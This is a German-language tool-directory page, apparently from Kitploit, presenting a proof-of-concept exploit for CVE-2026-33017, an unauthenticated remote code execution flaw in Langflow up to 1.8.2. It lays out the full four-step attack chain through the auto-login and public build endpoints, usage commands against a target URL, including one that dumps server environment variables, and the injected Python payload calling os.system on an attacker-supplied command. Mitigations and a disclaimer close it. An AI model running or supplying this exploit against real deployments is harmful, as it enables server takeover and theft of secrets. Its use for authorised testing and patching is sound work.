Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/r3nsi15/cve-2026-33017-langflow-rce
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed TeamingPayload-Entwicklung
GitHubr3nsi15/cve-2026-33017-langflow-rce

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-33017-langflow-rce

Proof-of-concept-Exploit für CVE-2026-33017, der eine nicht authentifizierte Remote-Code-Ausführung in Langflow durch bösartige CustomComponent-Injection über öffentliche Build-Endpunkte demonstriert.

Repository anzeigen
vor 2 MonatenNoch nicht geprüft

CVE-2026-33017 — Langflow: Nicht authentifizierte Remote-Codeausführung (RCE)

Übersicht

CVE-ID: CVE-2026-33017
Betroffene Software: Langflow Verwundbare Versionen: <= 1.8.2 Behobene Version: >= 1.9.0 Schweregrad: Kritisch
Autor: r3nsi15
Datum: 2026

Beschreibung

Langflow stellt einen öffentlichen Flow-Build-Endpunkt (/api/v1/build_public_tmp/{flowID}/flow) bereit, der beliebige CustomComponent-Codeblöcke akzeptiert und diese serverseitig ohne Authentifizierung ausführt. Durch das Injizieren einer schädlichen Python-Nutzlast in das code-Feld eines CustomComponent-Knotens kann ein nicht authentifizierter Angreifer beliebige Betriebssystembefehle mit den Berechtigungen des Langflow-Serverprozesses ausführen.

Die Angriffskette missbraucht zunächst den Endpunkt /api/v1/auto_login, der ein Bearer-Token ohne Anmeldeinformationen ausstellt, wenn Langflow in seiner Standard-Auto-Login-Konfiguration läuft. Anschließend wird mit diesem Token ein temporärer öffentlicher Flow erstellt und über den Build-Endpunkt die serverseitige Codeausführung ausgelöst.

Betroffene Endpunkte

Proof of Concept

Datei: CVE-2026-33017_POC.py

Voraussetzungen

  • Python 3.x
  • requests-Bibliothek
  • Netzwerkzugriff auf eine Langflow-Instanz, die mit aktiviertem Auto-Login läuft
root@kitploit:~
pip install requests

Verwendung

root@kitploit:~
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]

Argumente

Beispiele

Codeausführung verifizieren:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"

Server-Umgebungsvariablen abrufen:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"

Flow nach der Ausnutzung am Leben erhalten (Bereinigung überspringen):

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d

Erwartete Ausgabe

root@kitploit:~
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!

Aufbau des Payloads

Der Exploit injiziert das folgende Python-Snippet in das code-Feld eines CustomComponent-Knotens:

root@kitploit:~
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
    display_name = "ExploitComponent"
    outputs = [Output(display_name="Result", name="output", method="run")]
    def run(self):
        return "ok"
  • __import__('os').system(...) – importiert dynamisch das os-Modul und führt den vom Angreifer bereitgestellten Shell-Befehl auf dem Server aus.
  • Der Rest der Klassendefinition ist ein gültiges CustomComponent, das erforderlich ist, um den Langflow-Komponentenlader zu erfüllen, ohne einen Parse-Fehler auszulösen.
  • Der Flow wird als PUBLIC erstellt und der Build-Endpunkt wird an dessen öffentlichem Endpunkt aufgerufen; daher ist kein Session-Cookie oder Authentifizierungstoken erforderlich, um die Ausführung auszulösen.

Ursache

Das CustomComponent-System von Langflow erlaubt die Übermittlung von beliebigem Python-Code als Teil einer Flow-Definition. Der Endpunkt /api/v1/build_public_tmp/{flowID}/flow baut diesen Code auf und wertet ihn serverseitig teilweise aus – einschließlich Anweisungen auf Modulebene – ohne Sandboxing oder Einschränkung des Zugriffs auf Python-Builtins wie __import__.

Zusammenfassung der Angriffskette

root@kitploit:~
1. GET /api/v1/auto_login          →  Bearer-Token abrufen (keine Anmeldeinformationen nötig)
2. POST /api/v1/flows/             →  PUBLIC-Flow erstellen (Bearer-Token)
3. POST /api/v1/build_public_tmp/  →  Schädliches CustomComponent injizieren und ausführen (keine Authentifizierung)
4. DELETE /api/v1/flows/{id}       →  Bereinigen (optional)

Alle vier Schritte können von einem anonymen Angreifer gegen eine standardmäßige Langflow-Bereitstellung durchgeführt werden.

Abhilfemaßnahmen

  • Upgrade von Langflow auf Version 1.9.0 oder höher.
  • Auto-Login deaktivieren (LANGFLOW_AUTO_LOGIN=false) bei jeder internetzugänglichen Bereitstellung.

Haftungsausschluss

Dieser Proof of Concept dient ausschließlich zu Bildungs- und autorisierten Sicherheitsforschungszwecken. Die Verwendung dieses Skripts gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal und unethisch. Der Autor und die Mitwirkenden übernehmen keine Haftung für Missbrauch.

Tool herunterladen
EndpunktMethodeAuthentifizierung erforderlichZweck
/api/v1/auto_loginGETNeinBearer-Token abrufen (Auto-Login muss aktiviert sein)
/api/v1/flows/POSTJa (Bearer)Neuen Flow erstellen
/api/v1/build_public_tmp/{flowID}/flowPOSTNein (öffentlich)Build auslösen — anfälliger Ausführungspunkt
/api/v1/flows/{flowID}DELETEJa (Bearer)Erstellten Flow bereinigen
FlagLangformErforderlichBeschreibung
-u--urlJaBasis-URL der Langflow-Instanz
-c--commandJaAuszuführender OS-Befehl auf dem Server
-d--deleteNeinErstellten Flow nach der Ausnutzung löschen